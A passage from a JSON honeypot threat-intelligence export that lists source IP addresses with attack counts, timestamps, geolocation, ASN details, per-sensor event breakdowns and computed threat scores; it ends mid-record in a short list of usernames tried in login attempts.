        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:09:36.647000+00:00",
        "last_seen_30d": "2026-05-12T16:10:56.596000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.156.48.151": {
      "attack_count": 2,
      "first_seen": "2026-05-27T17:07:27.028Z",
      "last_seen": "2026-05-27T17:07:58.707Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T17:07:27.028000+00:00",
        "last_seen_30d": "2026-05-27T17:09:08.183000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "173.249.33.196": {
      "attack_count": 2,
      "first_seen": "2026-05-02T11:41:32.669Z",
      "last_seen": "2026-05-02T11:42:04.043Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T11:41:32.669000+00:00",
        "last_seen_30d": "2026-05-02T11:43:12.369000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "181.120.217.37": {
      "attack_count": 2,
      "first_seen": "2026-05-10T12:39:22.851Z",
      "last_seen": "2026-05-10T12:39:35.798Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Caacupe",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T12:39:22.851000+00:00",
        "last_seen_30d": "2026-05-10T12:41:26.421000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.22.253.231": {
      "attack_count": 2,
      "first_seen": "2026-05-08T21:35:53.909Z",
      "last_seen": "2026-05-08T21:36:06.382Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Burzaco",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T21:35:53.909000+00:00",
        "last_seen_30d": "2026-05-08T21:37:14.669000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.142.143.88": {
      "attack_count": 2,
      "first_seen": "2026-05-16T23:33:34.674Z",
      "last_seen": "2026-05-16T23:33:47.688Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Uruapan",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T23:33:34.674000+00:00",
        "last_seen_30d": "2026-05-16T23:34:49.342000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.205.45.179": {
      "attack_count": 2,
      "first_seen": "2026-05-18T23:33:53.129Z",
      "last_seen": "2026-05-18T23:34:05.868Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "El Salto",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:33:53.129000+00:00",
        "last_seen_30d": "2026-05-18T23:35:13.057000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.26.182.217": {
      "attack_count": 2,
      "first_seen": "2026-05-14T19:23:32.729Z",
      "last_seen": "2026-05-14T19:23:45.526Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sete Lagoas",
      "asn": 18881,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T19:23:32.729000+00:00",
        "last_seen_30d": "2026-05-14T19:24:54.175000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.127.126.240": {
      "attack_count": 2,
      "first_seen": "2026-05-21T23:01:44.376Z",
      "last_seen": "2026-05-21T23:01:59.090Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:01:44.376000+00:00",
        "last_seen_30d": "2026-05-21T23:03:29.102000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.191.55.101": {
      "attack_count": 2,
      "first_seen": "2026-05-11T17:02:56.546Z",
      "last_seen": "2026-05-11T17:03:08.677Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:02:56.546000+00:00",
        "last_seen_30d": "2026-05-11T17:04:11.555000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.205": {
      "attack_count": 2,
      "first_seen": "2026-05-19T00:38:36.301Z",
      "last_seen": "2026-05-19T00:38:36.657Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 30,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T19:59:00+00:00",
        "last_seen_30d": "2026-05-31T22:50:55.696000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 19,
        "Cowrie": 2
      }
    },
    "205.210.31.234": {
      "attack_count": 2,
      "first_seen": "2026-05-16T22:05:06.687Z",
      "last_seen": "2026-05-16T22:05:07.024Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T20:49:05+00:00",
        "last_seen_30d": "2026-05-30T04:41:09.865000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 29,
        "Cowrie": 2
      }
    },
    "209.178.129.143": {
      "attack_count": 2,
      "first_seen": "2026-05-05T20:38:45.771Z",
      "last_seen": "2026-05-05T20:38:58.839Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "M\u00e9rida",
      "asn": 265561,
      "as_org": "LANTOINTERNET SA DE CV",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T20:38:45.771000+00:00",
        "last_seen_30d": "2026-05-05T20:40:06.563000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "212.70.99.6": {
      "attack_count": 2,
      "first_seen": "2026-05-15T17:52:49.911Z",
      "last_seen": "2026-05-15T17:53:02.184Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 48728,
      "as_org": "Vodafone Qatar P.Q.S.C",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:52:49.911000+00:00",
        "last_seen_30d": "2026-05-15T17:54:07.536000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.230.87.119": {
      "attack_count": 2,
      "first_seen": "2026-05-08T04:53:27.014Z",
      "last_seen": "2026-05-08T04:53:39.026Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Samarkand",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:53:27.014000+00:00",
        "last_seen_30d": "2026-05-08T04:54:39.353000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.240.10.101": {
      "attack_count": 2,
      "first_seen": "2026-05-15T07:09:21.473Z",
      "last_seen": "2026-05-15T07:09:34.628Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Canberra",
      "asn": 7545,
      "as_org": "TPG Telecom Limited",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T07:09:21.473000+00:00",
        "last_seen_30d": "2026-05-15T07:10:37.797000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.108.67.13": {
      "attack_count": 2,
      "first_seen": "2026-05-08T13:48:35.736Z",
      "last_seen": "2026-05-08T13:48:48.714Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T13:48:35.736000+00:00",
        "last_seen_30d": "2026-05-08T13:49:56.953000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.219.100.129": {
      "attack_count": 2,
      "first_seen": "2026-05-23T00:23:18.346Z",
      "last_seen": "2026-05-23T00:23:31.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:23:18.346000+00:00",
        "last_seen_30d": "2026-05-23T00:24:33.836000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.185.59.185": {
      "attack_count": 2,
      "first_seen": "2026-05-03T11:22:30.950Z",
      "last_seen": "2026-05-03T11:22:43.941Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ranchi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:22:30.950000+00:00",
        "last_seen_30d": "2026-05-03T11:23:45.190000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.18.75.32": {
      "attack_count": 2,
      "first_seen": "2026-05-21T08:33:25.853Z",
      "last_seen": "2026-05-21T08:33:38.877Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T08:33:25.853000+00:00",
        "last_seen_30d": "2026-05-21T08:34:43.918000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.31.111.179": {
      "attack_count": 2,
      "first_seen": "2026-05-22T20:21:17.814Z",
      "last_seen": "2026-05-22T20:21:31.031Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:21:17.814000+00:00",
        "last_seen_30d": "2026-05-22T20:22:32.521000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.128.122.71": {
      "attack_count": 2,
      "first_seen": "2026-05-11T09:35:34.225Z",
      "last_seen": "2026-05-11T09:35:46.409Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Ramadi",
      "asn": 208570,
      "as_org": "Spark for Information Technology Services Ltd",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:35:34.225000+00:00",
        "last_seen_30d": "2026-05-11T09:36:56.810000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.87.249.136": {
      "attack_count": 2,
      "first_seen": "2026-05-28T13:09:57.988Z",
      "last_seen": "2026-05-28T13:09:58.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 47.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.6,
        "persistence": 5.0,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 6,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-23T23:54:04+00:00",
        "last_seen_30d": "2026-05-28T13:11:07.074000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "H0neytr4p": 12,
        "Honeytrap": 12,
        "Cowrie": 2
      }
    },
    "58.242.53.150": {
      "attack_count": 2,
      "first_seen": "2026-05-10T16:25:25.165Z",
      "last_seen": "2026-05-10T16:25:56.292Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T16:25:25.165000+00:00",
        "last_seen_30d": "2026-05-10T16:27:05.455000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.63.163.2": {
      "attack_count": 2,
      "first_seen": "2026-05-06T10:56:24.534Z",
      "last_seen": "2026-05-06T10:56:28.369Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134238,
      "as_org": "CHINANET Jiangx province IDC network",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:56:24.534000+00:00",
        "last_seen_30d": "2026-05-06T10:57:32.534000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "87.103.81.18": {
      "attack_count": 2,
      "first_seen": "2026-05-11T00:15:07.677Z",
      "last_seen": "2026-05-11T00:15:13.368Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 12353,
      "as_org": "Vodafone Portugal - Communicacoes Pessoais S.A.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T00:15:07.677000+00:00",
        "last_seen_30d": "2026-05-11T00:16:20.417000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "91.231.89.225": {
      "attack_count": 2,
      "first_seen": "2026-05-02T12:28:38.470Z",
      "last_seen": "2026-05-02T12:28:48.789Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 76.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 28,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T12:28:38.470000+00:00",
        "last_seen_30d": "2026-05-29T22:37:03.607000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Honeytrap": 25,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "92.17.219.92": {
      "attack_count": 2,
      "first_seen": "2026-05-27T03:21:21.455Z",
      "last_seen": "2026-05-27T03:23:21.457Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Harpenden",
      "asn": 13285,
      "as_org": "TalkTalk",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T18:48:54.978000+00:00",
        "last_seen_30d": "2026-05-27T03:34:26.385000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "202.191.63.159": {
      "attack_count": 2164,
      "first_seen": "2026-05-11T05:12:07.039Z",
      "last_seen": "2026-05-21T16:18:48.193Z",
      "sessions": 1082,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": null,
      "asn": 24446,
      "as_org": "5G NETWORK OPERATIONS PTY LTD",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4179,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T05:12:07.039000+00:00",
        "last_seen_30d": "2026-05-21T16:19:57.252000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2164,
        "Suricata": 2015
      }
    },
    "172.190.24.225": {
      "attack_count": 414,
      "first_seen": "2026-05-14T21:25:14.384Z",
      "last_seen": "2026-05-15T13:11:41.191Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dbus-helper",
        "...",
        "linux",
        "pakchoi",
        "systemd-sync",
        "udev-monitor",
        "zhxnephu"
      ],
